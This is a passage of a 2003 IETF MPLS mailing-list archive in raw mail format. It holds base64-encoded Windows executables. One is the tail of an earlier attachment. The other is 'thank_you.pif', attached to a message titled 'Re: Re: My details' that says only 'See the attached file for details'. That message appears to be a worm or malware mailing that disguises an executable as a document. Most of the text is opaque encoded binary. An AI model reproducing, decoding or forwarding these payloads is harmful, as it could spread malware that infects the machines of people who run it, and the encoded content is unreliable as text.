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
0RyDuclXh4q8+gcxwD39XT2TG6raIM41kw2xySzSC77LVO2ZyAWfkejlTznPLLRHN9IMusczizmT
LZjneLUpqcsan/zNH5mPrbJLP8Ao4EI21EiyiRDnFJMPocU6wQW011TtmN8Un4644EIj0CD7RXjW
GqHGJopY8DuXizzHHrTLVM2a0xuVw6v9SSTGJ+ALMNIb88sxzjaTBLvPMNMFvt1bzZXcV4mMvbJV
Jc1p9QsryhunzDmmUtcMtt4+0gmplVWOsN8WgsOp/ktwwTvxSjPDB7rHINh40QyyxCvQTKnMG4O1
1BDQl6D7VHDTO/tMKtIF8qkdxSzWDqbCLcxMuNEQjreaEZGKpPdDcYMd/EIrky66xTGLMNIa9Mk8
0AL71BqJtdwelYfmny0CxijnRDaTBbrOPN940Qz0ynnFA6jKHI+w31eGirrnVHDKJ/JOO8cBvMd1
q4sjiRR9UgVZOmKWENpaYm0AAAkJCAgKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAADeAAAAWEMwMDE4MTVkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAGAEAAFhDMDAxODE1ZAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABl
CgAAWEMwMDE4MTVkAAAAAAB3CgAAWEMwMDE4MTVk
--_NextPart_000_019C8F89--



From owner-mpls@UU.NET  Tue Oct 14 07:56:08 2003
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA05015
	for <mpls-archive@lists.ietf.org>; Tue, 14 Oct 2003 07:56:06 -0400 (EDT)
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpkjf05217
	for <mpls-archive@lists.ietf.org>; Tue, 14 Oct 2003 11:56:14 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpkjf04658;
	Tue, 14 Oct 2003 11:55:59 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpkje09757
	for mpls-outgoing; Tue, 14 Oct 2003 11:36:04 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQpkje09607
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 14 Oct 2003 11:35:46 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQpkje23227
	for <mpls@uu.net>; Tue, 14 Oct 2003 11:30:57 GMT
From: zinin@psg.com
Received: from DDSL-12 by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [61.11.79.227])
	id QQphng27998
	for <mpls@uu.net>; Wed, 24 Sep 2003 11:06:04 GMT
Message-Id: <QQphng27998.200309241106@cmr1.ash.ops.us.uu.net>
To: <mpls@UU.NET>
Subject: Re: Re: My details
Date: Fri, 1 Jan 1999 6:45:10 +0530
X-MailScanner: Found to be clean
Importance: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MSMail-Priority: Normal
X-Priority: 3 (Normal)
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="_NextPart_000_01727C1C"
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multipart message in MIME format

--_NextPart_000_01727C1C
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

See the attached file for details
--_NextPart_000_01727C1C
Content-Type: application/octet-stream;
	name="thank_you.pif"
Content-Disposition: attachment;
	filename="thank_you.pif"
Content-Transfer-Encoding: base64

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA4AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v
ZGUuDQ0KJAAAAAAAAADToEjPl8EmnJfBJpyXwSacFN0onI3BJpx/3iyc7cEmnMHeNZyawSacl8Em
nJTBJpyXwSecBsEmnPXeNZyawSacf94tnI3BJpxSaWNol8EmnAAAAAAAAAAAAAAAAAAAAABQRQAA
TAEEAF2zPz8AAAAAAAAAAOAADwELAQYAAAAAAABwAAAAAAAA1usBAAAQAAAAYAEAAABAAAAQAAAA
AgAABAAAAAAAAAAEAAAAAAAAAAAAAgAAEAAAF/EBAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAA
AAAAAAAAAAAAAOLrAQCcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfuwBAAgAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAgAC5zaHJpbmsAAFABAAAQAAAAxAAAABAAAAAAAAAAAAAAAAAAAEAAAMAu
c2hyaW5rAAAwAAAAYAEAABIAAADUAAAAAAAAAAAAAAAAAABAAADALnNocmluawAAQAAAAJABAAAS
AAAA5gAAAAAAAAAAAAAAAAAAQAAAwC5zaHJpbmsAADAAAADQAQAAIgAAAPgAAAAAAAAAAAAAAAAA
AEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACchVndAcNB3
L7IthuqUttkbaI5toW/Ma9cREwXJr2bGKxWUSLB1PIIaS01RbFxQRCXoVDbDEpq4Yumyi65HRdpM
3Ga7gyB6TAfZ9GeKPkz/gNdHfQo5WyK6kk3e3416A+3AKPhtFhKaSZkYxFj6+M2xbjOVSCpPharh
/VxSm4iVAk4yXUKq7H+ADGwboJC+fQm8+7jatvO6YUfFxxQOzfY8KTP4vt2InUxuuOl2cfiFELy0
IOsT73kycNOqH03/dY6FypJqffAfOkjFzUMhr8AqN9OCKt0p+TNW9bGP/Kp1XK6X4Iydu/Wy/xA0
A5Zpbl3Gl9/gKIkSvEhLlXfwGYKZSluuaTMQmbpJkKW7StxmyJ6O/fV9pclS8jV3oWub5MzdvI++
mMz3UMdA50acjuzsssWb5XknsOqtK2nhhDya2yRx3g+m84v73khc0k3eTce9rBtzSgflO9Df2PdF
TLLYFS/62962HytiMp2UFAkMMby4jWvloU8xsUAp/4Ws/jc55M/xh5mwSb7B5AtSX9luSglcmPun
VDvdKcYWznRbLRPadQ+V576YUs6FwBGGrYnr7cqYlLI9/9zwrfe9T0tMbFTdX2GmQfo7TrcECi9A
E4FKW8Xf1+6VPSywyFUB8p5WIK+9r8vGPrArUMoLVGGUE5fSoJD+lBC5F7no0NbMS8uCvwJE63mz
Ue83HBQ/ZZebwnFyAw28Q7HdqbesuEsMwzZ8rXY5sECSqEvV4ASt672pT5tM7Trvx/oeMN28Wuxm
b2hNug230joQTwW3+T+ddoDMjh0cB79ICk6OJGC51nji89835vsL2YS+2dN19sIr43AwpO/uoFkm
zyrLtskKndrZ6wRu0SXw+8FjB0wHUzm+cnBDUTxOuhclYnBPnss8CcpoGdo5Irpd0YvJggoecHOS
